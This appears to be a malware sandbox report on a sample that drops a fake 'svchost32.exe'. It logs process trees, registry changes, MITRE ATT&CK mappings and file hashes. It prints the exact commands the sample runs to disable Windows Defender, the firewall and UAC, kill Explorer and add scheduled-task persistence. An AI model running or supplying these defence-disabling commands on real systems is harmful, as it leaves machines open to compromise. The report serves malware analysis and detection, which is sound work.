\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableRegistryTools = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableCMD = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoLogoff = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideFastUserSwitching = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" svchost32.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsPowerShell svchost32.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\nexus.cc-release.exe"C:\Users\Admin\AppData\Local\Temp\nexus.cc-release.exe"1⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\system32\drivers\etc\svchost32.exe"C:\Windows\system32\drivers\etc\svchost32.exe"2⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Checks whether UAC is enabled
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1380 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\system32\schtasks.exeschtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f4⤵PID:4048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "C:\Windows\system32\drivers\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
PID:5456
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3136
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:940
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5984
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3868
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1168
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WinDefend3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
PID:3692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5592 -
C:\Windows\system32\sc.exesc config WinDefend start=disabled4⤵
- Launches sc.exe
PID:5940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop SecurityHealthService3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\system32\sc.exesc stop SecurityHealthService4⤵
- Launches sc.exe
PID:3184
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config SecurityHealthService start=disabled3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\system32\sc.exesc config SecurityHealthService start=disabled4⤵
- Launches sc.exe
PID:5712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WdFilter3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5880 -
C:\Windows\system32\sc.exesc stop WdFilter4⤵
- Launches sc.exe
PID:5912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WdFilter start=disabled3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\system32\sc.exesc config WdFilter start=disabled4⤵
- Launches sc.exe
PID:1080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WdNisDrv3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5996 -
C:\Windows\system32\sc.exesc stop WdNisDrv4⤵
- Launches sc.exe
PID:1528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WdNisDrv start=disabled3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\Windows\system32\sc.exesc config WdNisDrv start=disabled4⤵
- Launches sc.exe
PID:5456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WdNisSvc3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\sc.exesc stop WdNisSvc4⤵
- Launches sc.exe
PID:2888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WdNisSvc start=disabled3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4328 -
C:\Windows\system32\sc.exesc config WdNisSvc start=disabled4⤵
- Launches sc.exe
PID:4556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop WdBoot3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\system32\sc.exesc stop WdBoot4⤵
- Launches sc.exe
PID:2040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config WdBoot start=disabled3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:608 -
C:\Windows\system32\sc.exesc config WdBoot start=disabled4⤵
- Launches sc.exe
PID:6052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop MpsSvc3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\system32\sc.exesc stop MpsSvc4⤵
- Launches sc.exe
PID:3600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc config MpsSvc start=disabled3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\system32\sc.exesc config MpsSvc start=disabled4⤵
- Launches sc.exe
PID:1468
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C:\Windows\SYSTEM32\taskkill.exetaskkill.exe /im Explorer.exe /f3⤵
- Kills process with taskkill
PID:5480
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C:\Windows\SYSTEM32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs" "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- Executes a VBScript file via the Windows Script Host.
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\system32\mspaint.exe"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:684
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C:\Windows\explorer.exeexplorer.exe ,"C:\Windows\system32\drivers\etc\svchost32.exe"1⤵PID:2248
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4436
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C:\Windows\system32\drivers\etc\svchost32.exeC:\Windows\system32\drivers\etc\svchost32.exe1⤵
- Executes dropped EXE
PID:1016
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C:\Windows\system32\userinit.exeC:\Windows\system32\userinit.exe1⤵
- Suspicious use of WriteProcessMemory
PID:6136 -
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:5528
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C:\Windows\system32\drivers\etc\svchost32.exe"C:\Windows\system32\drivers\etc\svchost32.exe"2⤵
- Executes dropped EXE
PID:5868
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C:\Windows\system32\drivers\etc\svchost32.exe"C:\Windows\system32\drivers\etc\svchost32.exe"1⤵
- Executes dropped EXE
PID:1096
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x0000000000000504 0x000000000000050C1⤵PID:5596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService1⤵
- Checks SCSI registry key(s)
PID:4672
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Active Setup
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
4Disable or Modify Tools
3Indicator Removal
1Clear Persistence
1Modify Registry
8Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
- MD5 acbc65123954839a819fa2495d239bf7
- SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
- SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
- TLSH T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c1862da433ee483300fca77dab5621fd20adba01bcbe57e7dba7ab119c001392
- MD5 5f3f4ec570330baa110d862d263e5e8f
- SHA1 e948c3adf89c5cc1c66e2f127620369fd699ccf7
- SHA512 56d1eca364d7bde9ec9f33b868fada0d06c0b7aaee905f8498ef1dff19e4ac60ba34a79d7032b6a6c62f64c8a25568eb4543ebf0fab2bfb35666774f3a3c2489
- TLSH T1EB219833B3CC8624C89A013A10CDAC1036B6C7DB40DECFAB7B80E655A43F698CE60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 bb0728b0cdbde22bef3b0d1b81e52d7a1ff4307e706b632cdffaf9c76bb05a6a
- MD5 97a8e28b9c03255c7ebb15dde9387f59
- SHA1 66b49cf3c4da5458c923efa685072ec38bc24b02
- SHA512 140dd119bbe25cca4fb138af1ec416829aa235f2b5c2944f2932acff533b9ea50ea70abd9bef8108dc3760bacd65602760d3e1a027b8250cf1534d4bf1ff9dcb
- TLSH T163216837B3DD8614CC9A413A10CDAD1036B6CBDB40DECE5B6B84E659A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 865a282560d59eac46310d2325290302e805cfe383d5aa3ea29427d9aa8e8ed9
- MD5 8ca0154ca0c2283d4f6e26d0754a5467
- SHA1 d17127f33f415aeb66e12446c48795bb2a80343d
- SHA512 9947f1e13f70ce7e0897176a02f118f1a54b95fcc5670bc32e8127184f2c47d2aea47bc55fe9c93357e616b1c2565fd2415ad8d60198192d545cdfb01f097f69
- TLSH T189218B37F3DC8610C89E413A10CDAD1036B6CBDB80DECF6B6B85E659A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d6adf751a6c0c74bed0bd08508cb3078afcaaba6514718c0db9792bb6a1a02fa
- MD5 b20ad66a34d257086e53a5b2b34a7b45
- SHA1 65acca05f0cb24d786b137cdb05f8af99ccbf9b7
- SHA512 4fe111c650bbe2fb71c9be6826f810c97faa9f05e84c2d31c41f1651f91575fa66dc6bb5c2d85cddb9861b3864bbe52823e1bb46971b1e34dfa34dadf40cd558
- TLSH T181219833B3DC8614C89A003A10CDAC1036B6CBCB40DECE5B6B80E655A43F698CE60060
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alio5kqe.fc3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\catcrypt_block.png
- Size 52KB
- SHA256 d50f96790201d3293f1627f56e04069b2834e5d543b3bf9f90a49df530574a46
- MD5 a903df8d1000e59bd8e1e82b90a50285
- SHA1 51989cf050739c004938f6115a9ddc80bc7e5c80
- SHA512 54d26d0392b11b101ed61289d8936e625c2fa27e4f244b9ef8329e45ed0f40caa79e8dc56cc31a279a0aab6e3d9efd40982eef8e2ec4c656fecaa3322f7b8086
- SSDEEP 1536:H+OH/CRoh95lzFUUG6es5VIa85ZPc+d0o/5:H+0KRoh9zFPGmVI1ZUo0oh
- TLSH T15633029139318269D93724FE51949C5C8FF3E937777A20A08201D78B45AFAEC3397E15
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\catcrypt_show.vbs
- Size 940B
- SHA256 d90ae5c72d612cf50824af73481a2f02330a44ae1e949ad7630040ad2317d0bd
- MD5 a8f0a24384b14b3ab4e3a7a7cac18faa
- SHA1 f666d1fcb7108bbe67d4a881f1c6a13acd75adf6
- SHA512 366a308c2246eb53ab0025060d1a5cd93baeeead9c2b9182d0b9e6e8310f4881c5cf78321fcac82d0dc208d011212179bf057e473ed483b1ceb88d65c902c5eb
- TLSH T18C11B601A4138E674F3B53A494B4A03CD9704A1BBC38642936EDCE881F23BA983480F2
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\drivers\etc\svchost32.exe
- Size 16.2MB
- SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
- MD5 bdea275317bad05342833ffbe6991816
- SHA1 0d2e638a3d82cf9f927ec71e4e4bfb77b20d4ca5
- SHA512 7cddaebc49426d14371374cb97171ec9dd117d0180d3622f8ad9ab28bdaa704652b98b70cad257380a049d5c11fa944d1e9970e1f7e87c0ee730d9f1d5d0f324
- SSDEEP 49152:1xn9du9BJAiiWGgt9IPXY32Z0PYriUTkqyDaDXVLh5PAzuKTW/UMXkRRJzS6i0s1:1x9
- TLSH T154073038B9D518BE7B6759EE87F63A9D5909F3BBB3065D7C20B2314A43039098CE4724
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\$boot_marker.tmp
- Size 9B
- SHA256 66ac18f2812d1ae000b850dcc99d9993548cbf7c600ed07024f6eb3042e220c3
- MD5 df7b7ee420822cce4ee92c0c3f8634a4
- SHA1 7fffb7386a7edeaaa461a18d69d50eb3ba5409fa
- SHA512 4d545306a94a9125efeda5a048acff61129c9b68424bbcfbafbb66bda4c2094d8e4c3459edfb321c5dbd2bf178924977c9f30698fae44216d4dd6bdb22a359d2
- MD5 SHA1 SHA512
- Path C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes
- Size 6B
- SHA256 f0b6449d55936b0b5c71144a16f0a8e472b3b33c5f7a065027b24d95cf3a2927
- MD5 dee9689026eb72d3bee61572af4a8108
- SHA1 d64aab1eff518aa5949f507e6d70c955438fbc8a
- SHA512 ea7816d371e5847953109c336dd926f2a32e53c59bbc04cb747b945117acac69ed9395c91481c89d76f119e6f97920924625ae2d5b57442c56978d271b446982
- MD5 SHA1 SHA512